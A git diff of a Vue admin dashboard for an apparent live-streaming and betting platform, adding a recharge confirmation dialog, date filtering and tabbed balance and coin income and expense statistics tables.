+        background: 'rgba(0, 0, 0, 0.7)'
+      });
+      getRechargeAmount(userid).then(response=>{
+        this.rechargeAmount = response.data;
+        this.resetWithdrawopen = true;
+        this.resetWithdrawForm.amount = this.rechargeAmount.lackAmount;
+        this.title = "补足提现流水";
+        loading.close();
+      })
+
     },
     /** 充值按钮操作 */
     handleCharge(row) {
@@ -1654,9 +1860,11 @@ export default {
       const userid = row.userid;
       this.chargeForm = {
         userId:userid,
+        nickname:row.nickname,
         type: null,
         amount:null
       };
+      this.resetRechareQuery();
       this.chargeopen = true;
       this.title = "充值";
 
@@ -1746,7 +1954,6 @@ export default {
             spinner: 'el-icon-loading',
             background: 'rgba(0, 0, 0, 0.7)'
           });
-          setTimeout(function (){loading.close();},1000);
           withdraw(this.resetWithdrawForm).then(response => {
             this.$modal.msgSuccess("补足流水成功");
             this.resetWithdrawopen = false;
@@ -1759,33 +1966,41 @@ export default {
     /** 充值提交按钮 */
     submitChargeForm() {
       var that =this;
-      this.$refs["chargeForm"].validate(valid => {
-        if (valid) {
-          if(that.chargeForm.isRate != 1){
-            that.chargeForm.rate = null;
-          }
-          if(that.chargeForm.channelId == -1 && (undefined == that.chargeForm.rate || null == that.chargeForm.rate)){
-            this.$modal.msgError("请输入手续费比例");
-            return;
-          }
-          if(that.chargeForm.channelId == -1 &&  that.chargeForm.rate >= 1){
-            this.$modal.msgError("手续费比例超过最大值");
-            return;
+      this.$confirm('是否确认给用户'+that.chargeForm.nickname+'('+that.chargeForm.userId+')充值金额'+that.chargeForm.amount+'?', '充值提示', {
+        confirmButtonText: '确定',
+        cancelButtonText: '取消',
+        type: 'warning'
+      }).then(() => {
+        this.$refs["chargeForm"].validate(valid => {
+          if (valid) {
+            if(that.chargeForm.isRate != 1){
+              that.chargeForm.rate = null;
+            }
+            if(that.chargeForm.channelId == -1 && (undefined == that.chargeForm.rate || null == that.chargeForm.rate)){
+              this.$modal.msgError("请输入手续费比例");
+              return;
+            }
+            if(that.chargeForm.channelId == -1 &&  that.chargeForm.rate >= 1){
+              this.$modal.msgError("手续费比例超过最大值");
+              return;
+            }
+            const loading = this.$loading({
+              lock: true,
+              text: '加载中',
+              spinner: 'el-icon-loading',
+              background: 'rgba(0, 0, 0, 0.7)'
+            });
+            // setTimeout(function (){loading.close();},1000);
+            userCharge(this.chargeForm).then(response => {
+              this.$modal.msgSuccess("修改成功");
+              this.chargeopen = false;
+              this.getList();
+              loading.close();
+            });
           }
-          const loading = this.$loading({
-            lock: true,
-            text: '加载中',
-            spinner: 'el-icon-loading',
-            background: 'rgba(0, 0, 0, 0.7)'
-          });
-          // setTimeout(function (){loading.close();},1000);
-          userCharge(this.chargeForm).then(response => {
-            this.$modal.msgSuccess("修改成功");
-            this.chargeopen = false;
-            this.getList();
-            loading.close();
-          });
-        }
+        });
+      }).catch(() => {
+        //取消
       });
     },
     /** 开关播提交按钮 */
@@ -1985,6 +2200,15 @@ export default {
       if("eight" == tab.$options.propsData.name){
         this.getBettingList();
       }
+    },
+    rechargeDateChage(val){
+      if(undefined != val && null != val && val.length > 1){
+        this.rechargeQueryParams.beginTime = val[0];
+        this.rechargeQueryParams.endTime = val[1];
+      }else{
+        this.rechargeQueryParams.beginTime = null;
+        this.rechargeQueryParams.endTime = null;
+      }
     }
   }
 };

+ 362 - 88
game-ui/src/views/index.vue

@@ -78,93 +78,226 @@
       </span>
     </div>
     <div style="padding-top: 1rem">
-      <el-row>
-        <el-col :span="25" class="card-box">
-          <el-card>
-            <div slot="header"><span></span></div>
-            <div class="el-table el-table--enable-row-hover el-table--medium">
-              <table cellspacing="0" style="width: 70rem;border-bottom: 1px solid black">
-                <thead>
-                <tr>
-                  <th class="el-table__cell is-leaf"><div class="cell"></div></th>
-                  <th class="el-table__cell is-leaf"><div class="cell">线上充值总额</div></th>
-                  <th class="el-table__cell is-leaf"><div class="cell">人工充值</div></th>
-                  <th class="el-table__cell is-leaf"><div class="cell">充值总额</div></th>
-                </tr>
-                </thead>
-                <tbody>
-                <tr>
-                  <td class="el-table__cell is-leaf" rowspan="6"><div class="cell">充值总额</div></td>
-                  <td class="el-table__cell is-leaf"><div class="cell">支付宝:{{getVal(getCharge('8085'),0)}}</div></td>
-                  <td class="el-table__cell is-leaf" rowspan="6"><div class="cell">充值:{{getVal(getCharge('4'),1)}}</div></td>
-                  <td class="el-table__cell is-leaf" rowspan="6"><div class="cell">总额:{{getTotal()}}</div></td>
-                </tr>
-                <tr>
-                  <td class="el-table__cell is-leaf"><div class="cell" >微信:{{getVal(getCharge('8086'),0)}}</div></td>
-<!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
-                </tr>
-                <tr>
-                  <td class="el-table__cell is-leaf"><div class="cell" >OKPAY:{{getVal(getCharge('8084'),0)}}</div></td>
-<!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
-                </tr>
-                <tr>
-                  <td class="el-table__cell is-leaf"><div class="cell" >cbpay:{{getVal(getCharge('8088'),0)}}</div></td>
-<!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
-                </tr>
-                <tr>
-                  <td class="el-table__cell is-leaf"><div class="cell" >银行卡:{{getVal(getCharge('8087'),0)}}</div></td>
-<!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
-                </tr>
-                <tr>
-                  <td class="el-table__cell is-leaf"><div class="cell" >其他:{{getVal(getCharge('-1'),0)}}</div></td>
-<!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
-                </tr>
-                <tr>
-                  <td class="el-table__cell is-leaf" rowspan="5"><div class="cell">提现总额</div></td>
-                  <td class="el-table__cell is-leaf" colspan="2"><div class="cell">支付宝:{{getCash("1")}}</div></td>
-                  <td class="el-table__cell is-leaf" rowspan="5"><div class="cell">总额:{{getCash(null)}}</div></td>
-                </tr>
-                <tr>
-                  <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >微信:{{getCash("2")}}</div></td>
-<!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
-                </tr>
-                <tr>
-                  <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >银行卡:{{getCash("3")}}</div></td>
-<!--                  <td class="el-table__cell is-leaf"><div class="cell" >银行卡</div></td>-->
-                </tr>
-                <tr>
-                  <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >OKPAY:{{getCash("4")}}</div></td>
-<!--                  <td class="el-table__cell is-leaf"><div class="cell" >银行卡</div></td>-->
-                </tr>
-                <tr>
-                  <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >cbpay:{{getCash("5")}}</div></td>
-<!--                  <td class="el-table__cell is-leaf"><div class="cell" >银行卡</div></td>-->
-                </tr>
-                </tbody>
-              </table>
-
-              <table cellspacing="0" style="width: 70rem;border-bottom: 1px solid black">
-                <thead>
-                <tr>
-<!--                  <th class="el-table__cell is-leaf" rowspan="2"><div class="cell">游戏投注</div></th>-->
-                  <th class="el-table__cell is-leaf"><div class="cell">金币投注</div></th>
-                  <th class="el-table__cell is-leaf"><div class="cell">余额投注</div></th>
-<!--                  <th class="el-table__cell is-leaf"><div class="cell"></div></th>-->
-                </tr>
-                </thead>
-                <tbody>
-                <tr>
-<!--                  <td class="el-table__cell is-leaf" rowspan="2"><div class="cell">游戏投注</div></td>-->
-                  <td class="el-table__cell is-leaf"><div class="cell">{{ undefined!=dataMap["bettingAmountDateSum"]?dataMap["bettingAmountDateSum"]["coinSum"]:0.00 }}</div></td>
-                  <td class="el-table__cell is-leaf"><div class="cell">{{undefined!=dataMap["bettingAmountDateSum"]?dataMap["bettingAmountDateSum"]["diamondCoinSum"]:0.00}}</div></td>
-<!--                  <td class="el-table__cell is-leaf"><div class="cell" ></div></td>-->
-                </tr>
-                </tbody>
-              </table>
-            </div>
-          </el-card>
-        </el-col>
-      </el-row>
+      <el-tabs v-model="activeName">
+        <el-tab-pane label="余额统计" name="first">
+          <el-row>
+            <el-col :span="25" class="card-box">
+              <el-card>
+                <div slot="header"><span></span></div>
+                <div class="el-table el-table--enable-row-hover el-table--medium">
+                  <table cellspacing="0" style="width: 70rem;border-bottom: 1px solid black">
+                    <thead>
+                    <tr>
+                      <th class="el-table__cell is-leaf"><div class="cell"></div></th>
+                      <th class="el-table__cell is-leaf"><div class="cell">线上充值总额</div></th>
+                      <th class="el-table__cell is-leaf"><div class="cell">人工充值</div></th>
+                      <th class="el-table__cell is-leaf"><div class="cell">人工充值(不记返点)</div></th>
+                      <th class="el-table__cell is-leaf"><div class="cell">充值总额</div></th>
+                    </tr>
+                    </thead>
+                    <tbody>
+                    <tr>
+                      <td class="el-table__cell is-leaf" rowspan="6"><div class="cell">充值总额</div></td>
+                      <td class="el-table__cell is-leaf"><div class="cell">支付宝:{{getVal(getCharge('8085'),0)}}</div></td>
+                      <td class="el-table__cell is-leaf" rowspan="6"><div class="cell">充值:{{getVal(getCharge('4'),1)}}</div></td>
+                      <td class="el-table__cell is-leaf" rowspan="6"><div class="cell">充值:{{getVal(getCharge('5'),1)}}</div></td>
+                      <td class="el-table__cell is-leaf" rowspan="6"><div class="cell">总额:{{getTotal()}}</div></td>
+                    </tr>
+                    <tr>
+                      <td class="el-table__cell is-leaf"><div class="cell" >微信:{{getVal(getCharge('8086'),0)}}</div></td>
+    <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+                    </tr>
+                    <tr>
+                      <td class="el-table__cell is-leaf"><div class="cell" >OKPAY:{{getVal(getCharge('8084'),0)}}</div></td>
+    <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+                    </tr>
+                    <tr>
+                      <td class="el-table__cell is-leaf"><div class="cell" >cbpay:{{getVal(getCharge('8088'),0)}}</div></td>
+    <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+                    </tr>
+                    <tr>
+                      <td class="el-table__cell is-leaf"><div class="cell" >银行卡:{{getVal(getCharge('8087'),0)}}</div></td>
+    <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+                    </tr>
+                    <tr>
+                      <td class="el-table__cell is-leaf"><div class="cell" >其他:{{getVal(getCharge('-1'),0)}}</div></td>
+    <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+                    </tr>
+                    <tr>
+                      <td class="el-table__cell is-leaf" rowspan="5"><div class="cell">提现总额</div></td>
+                      <td class="el-table__cell is-leaf" colspan="2"><div class="cell">支付宝:{{getCash("1")}}</div></td>
+                      <td class="el-table__cell is-leaf" rowspan="5"><div class="cell">总额:{{getCash(null)}}</div></td>
+                    </tr>
+                    <tr>
+                      <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >微信:{{getCash("2")}}</div></td>
+    <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+                    </tr>
+                    <tr>
+                      <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >银行卡:{{getCash("3")}}</div></td>
+    <!--                  <td class="el-table__cell is-leaf"><div class="cell" >银行卡</div></td>-->
+                    </tr>
+                    <tr>
+                      <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >OKPAY:{{getCash("4")}}</div></td>
+    <!--                  <td class="el-table__cell is-leaf"><div class="cell" >银行卡</div></td>-->
+                    </tr>
+                    <tr>
+                      <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >cbpay:{{getCash("5")}}</div></td>
+    <!--                  <td class="el-table__cell is-leaf"><div class="cell" >银行卡</div></td>-->
+                    </tr>
+                    </tbody>
+                  </table>
+                  <h3>下注</h3>
+                  <table cellspacing="0" style="width: 70rem;border-bottom: 1px solid black">
+                    <thead>
+                    <tr>
+    <!--                  <th class="el-table__cell is-leaf" rowspan="2"><div class="cell">游戏投注</div></th>-->
+                      <th class="el-table__cell is-leaf"><div class="cell">金币投注</div></th>
+                      <th class="el-table__cell is-leaf"><div class="cell">余额投注</div></th>
+    <!--                  <th class="el-table__cell is-leaf"><div class="cell"></div></th>-->
+                    </tr>
+                    </thead>
+                    <tbody>
+                    <tr>
+    <!--                  <td class="el-table__cell is-leaf" rowspan="2"><div class="cell">游戏投注</div></td>-->
+                      <td class="el-table__cell is-leaf"><div class="cell">{{ undefined!=dataMap["bettingAmountDateSum"]?dataMap["bettingAmountDateSum"]["coinSum"]:0.00 }}</div></td>
+                      <td class="el-table__cell is-leaf"><div class="cell">{{undefined!=dataMap["bettingAmountDateSum"]?dataMap["bettingAmountDateSum"]["diamondCoinSum"]:0.00}}</div></td>
+    <!--                  <td class="el-table__cell is-leaf"><div class="cell" ></div></td>-->
+                    </tr>
+                    </tbody>
+                  </table>
+                </div>
+              </el-card>
+            </el-col>
+          </el-row>
+        </el-tab-pane>
+        <el-tab-pane label="金币统计" name="second">
+          <div slot="header"><span></span></div>
+          <div class="el-table el-table--enable-row-hover el-table--medium">
+            <table cellspacing="0" style="width: 70rem;border-bottom: 1px solid black">
+              <tbody>
+              <tr>
+                <td class="el-table__cell is-leaf" rowspan="10"><div class="cell">收入</div></td>
+                <td class="el-table__cell is-leaf" rowspan="10"><div class="cell">总额:{{getCoinTotal()}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf"><div class="cell" >连续登录:{{getCoinVal(getCoin("1205",0))}}</div></td>
+                <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf"><div class="cell" >签到:{{getCoinVal(getCoin("1206",0))}}</div></td>
+                <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf"><div class="cell" >转账:{{getCoinVal(getCoin("1602",0))}}</div></td>
+                <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf"><div class="cell" >余额兑换金币:{{getCoinVal(getCoin("1303",0))}}</div></td>
+                <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf"><div class="cell" >游戏奖励:{{getCoinVal(getCoin("1103",0))}}</div></td>
+                <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf"><div class="cell" >直播收益:{{getCoinVal(getCoin("5005",0))}}</div></td>
+                <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf"><div class="cell" >收红包:{{getCoinVal(getCoin("20102",0))}}</div></td>
+                <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf"><div class="cell" >邀请奖励:{{getCoinVal(getCoin("1208",0))}}</div></td>
+                <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+              </tr>
+<!--              <tr>
+                <td class="el-table__cell is-leaf"><div class="cell" >游戏中奖:{{getVal(getCharge('-1'),0)}}</div></td>
+                &lt;!&ndash;                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>&ndash;&gt;
+              </tr>-->
+              <tr>
+                <td class="el-table__cell is-leaf"><div class="cell" >开通贵族赠送金币:{{getCoinVal(getCoin("1203",0))}}</div></td>
+                <!--                  <td class="el-table__cell is-leaf"><div class="cell" >微信</div></td>-->
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" rowspan="19"><div class="cell">支出</div></td>
+                <td class="el-table__cell is-leaf" rowspan="19"><div class="cell">总额:{{getExCoinTotal()}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >后台扣除:{{getCoinVal(getCoin("1108",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >转账:{{getCoinVal(getCoin("1602",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >开通贵族:{{getCoinVal(getCoin("2701",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >购买坐骑:{{getCoinVal(getCoin("2901",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >购买门票:{{getCoinVal(getCoin("1203",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >金币兑换余额:{{getCoinVal(getCoin("1203",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >游戏下注:{{getCoinVal(getCoin("20001",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >直播间打赏礼物:{{getCoinVal(getCoin("2001",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >短视频打赏礼物:{{getCoinVal(getCoin("2002",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >聊天打赏:{{getCoinVal(getCoin("2003",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >个人主页打赏:{{getCoinVal(getCoin("2005",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >发红包:{{getCoinVal(getCoin("20101",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >宝箱抽奖:{{getCoinVal(getCoin("1203",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >开通守护:{{getCoinVal(getCoin("2401",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >开通粉丝团:{{getCoinVal(getCoin("2501",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >付费弹幕:{{getCoinVal(getCoin("2601",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >兑换实物:{{getCoinVal(getCoin("1305",1))}}</div></td>
+              </tr>
+              <tr>
+                <td class="el-table__cell is-leaf" colspan="2"><div class="cell" >购买贵族席:{{getCoinVal(getCoin("20702",1))}}</div></td>
+              </tr>
+              </tbody>
+            </table>
+            <h3>金币兑换余额</h3>
+            <table cellspacing="0" style="width: 70rem;border-bottom: 1px solid black">
+              <thead>
+              <tr>
+                <!--                  <th class="el-table__cell is-leaf" rowspan="2"><div class="cell">游戏投注</div></th>-->
+                <th class="el-table__cell is-leaf"><div class="cell">消耗金币</div></th>
+                <th class="el-table__cell is-leaf"><div class="cell">获得余额</div></th>
+              </tr>
+              </thead>
+              <tbody>
+              <tr>
+                <td class="el-table__cell is-leaf"><div class="cell">{{ undefined!=dataMap["exchange"]?dataMap["exchange"]["coin"]:0.00 }}</div></td>
+                <td class="el-table__cell is-leaf"><div class="cell">{{undefined!=dataMap["exchange"]?dataMap["exchange"]["diamondCoin"]:0.00}}</div></td>
+              </tr>
+              </tbody>
+            </table>
+          </div>
+        </el-tab-pane>
+      </el-tabs>
     </div>
   </div>
 </template>
@@ -181,7 +314,8 @@ export default {
       queryParams:{},
       daterange:[],
       daterange2:[],
-      dataMap:{}
+      dataMap:{},
+      activeName:"first"
     };
   },
   created() {
@@ -287,6 +421,24 @@ export default {
       }
       return res;
     },
+    getCoin(type,sumType){
+      let dataMap = this.dataMap;
+      let res = null;
+      for(var i in dataMap["coinTypeSum"]){
+        var item = dataMap["coinTypeSum"][i];
+        if(item["type"] == type){
+          if(sumType == 0 && item["coin"] != undefined && item["coin"]*1 > 0){
+            res = item;
+            break;
+          }else if(sumType == 1 && item["coin"] != undefined && item["coin"]*1 <= 0){
+            res = item;
+            break;
+          }
+
+        }
+      }
+      return res;
+    },
     getOtherCharge(types){
       let arr = types.split(",");
       let dataMap = this.dataMap;
@@ -337,6 +489,8 @@ export default {
       let bank = this.getCharge("8087");
       //线下
       let down = this.getCharge("4");
+      //线下
+      let downBJ = this.getCharge("5");
       let total = 0;
       let totalService = 0;
       if (down["diamondCoinDownSum"] != undefined) {
@@ -345,6 +499,12 @@ export default {
       if(down["platformServiceDiamondCoinDownSum"] != undefined){
         totalService += down["platformServiceDiamondCoinDownSum"];
       }
+      if (downBJ["diamondCoinDownSum"] != undefined) {
+        total += downBJ["diamondCoinDownSum"];
+      }
+      if(downBJ["platformServiceDiamondCoinDownSum"] != undefined){
+        totalService += downBJ["platformServiceDiamondCoinDownSum"];
+      }
 
       if (ali["diamondCoinUpSum"] != undefined) {
         total += ali["diamondCoinUpSum"];
@@ -383,6 +543,114 @@ export default {
 
       return total + " (包含手续费:"+totalService+")"
 
+    },
+    getCoinTotal(){
+      let coin = 0;
+      //游戏奖励
+      let game = this.getCoin("1103",0);
+      if(undefined != game && null != game){
+        coin += this.getCoinVal(game);
+      }
+      //后台充值
+      let recharge = this.getCoin("1108",0);
+      if(undefined != recharge && null != recharge){
+        coin += this.getCoinVal(recharge);
+      }
+      //购买贵族赠送金币
+      let buySend = this.getCoin("1203",0);
+      if(undefined != buySend && null != buySend){
+        coin += this.getCoinVal(buySend);
+      }
+      //连续登录
+      let login = this.getCoin("1205",0);
+      if(undefined != login && null != login){
+        coin += this.getCoinVal(login);
+      }
+      //签到奖励
+      let reward = this.getCoin("1206",0);
+      if(undefined != reward && null != reward){
+        coin += this.getCoinVal(reward);
+      }
+      //邀请奖励
+      let invite = this.getCoin("1208",0);
+      if(undefined != invite && null != invite){
+        coin += this.getCoinVal(invite);
+      }
+      //余额兑换金币
+      let exchange = this.getCoin("1303",0);
+      if(undefined != exchange && null != exchange){
+        coin += this.getCoinVal(exchange);
+      }
+      //金币转账
+      let turn = this.getCoin("1602",0);
+      if(undefined != turn && null != turn){
+        coin += this.getCoinVal(turn);
+      }
+      //直播间赠送礼物
+      // let giveGift = this.getCoin("2001",0);
+      //直播收益
+      let live = this.getCoin("5005",0);
+      if(undefined != live && null != live){
+        coin += this.getCoinVal(live);
+      }
+      //领红包
+      let red = this.getCoin("20102",0);
+      if(undefined != red && null != red){
+        coin += this.getCoinVal(red);
+      }
+      //红包退回20103
+
+      return coin;
+    },
+    getExCoinTotal(){
+      let coin = 0;
+      //后台充值(扣减)
+      let recharge = this.getCoin("1108",1);
+      coin += this.getCoinVal(recharge);
+      //金币兑换商品
+      let exchange = this.getCoin("1305",1);
+      coin += this.getCoinVal(exchange);
+      //金币转账
+      let turn = this.getCoin("1602",1);
+      coin += this.getCoinVal(turn);
+      //直播礼物打赏
+      let give = this.getCoin("2001",1);
+      coin += this.getCoinVal(give);
+      //短视频打赏
+      let short = this.getCoin("2002",1);
+      coin += this.getCoinVal(short);
+      //聊天打赏
+      let chat = this.getCoin("2003",1);
+      coin += this.getCoinVal(chat);
+      //个人主页打赏
+      let people = this.getCoin("2005",1);
+      coin += this.getCoinVal(people);
+      //开通守护
+      let sh = this.getCoin("2401",1);
+      coin += this.getCoinVal(sh);
+      //粉丝团
+      let team = this.getCoin("2501",1);
+      coin += this.getCoinVal(team);
+      //付费弹幕
+      let ffdm = this.getCoin("2601",1);
+      coin += this.getCoinVal(ffdm);
+      //购买贵族
+      let gz = this.getCoin("2701",1);
+      coin += this.getCoinVal(gz);
+      //购买坐骑
+      let zq = this.getCoin("2901",1);
+      coin += this.getCoinVal(zq);
+      //游戏下注
+      let game = this.getCoin("20001",1);
+      coin += this.getCoinVal(game);
+      //发红包
+      let red = this.getCoin("20101",1);
+      coin += this.getCoinVal(red);
+      //购买贵族席
+      let gzx = this.getCoin("20702",1);
+      coin += this.getCoinVal(gzx);
+      return coin;
+
     },
     getCash(type){
       let amount = 0;
@@ -400,6 +668,12 @@ export default {
         }
       }
       return amount + " (包含手续费"+serviceAmount+")";
+    },
+    getCoinVal(item){
+      if(undefined == item || null == item){
+        return 0;
+      }
+      return parseInt(item["coin"]);
     }
   }
 };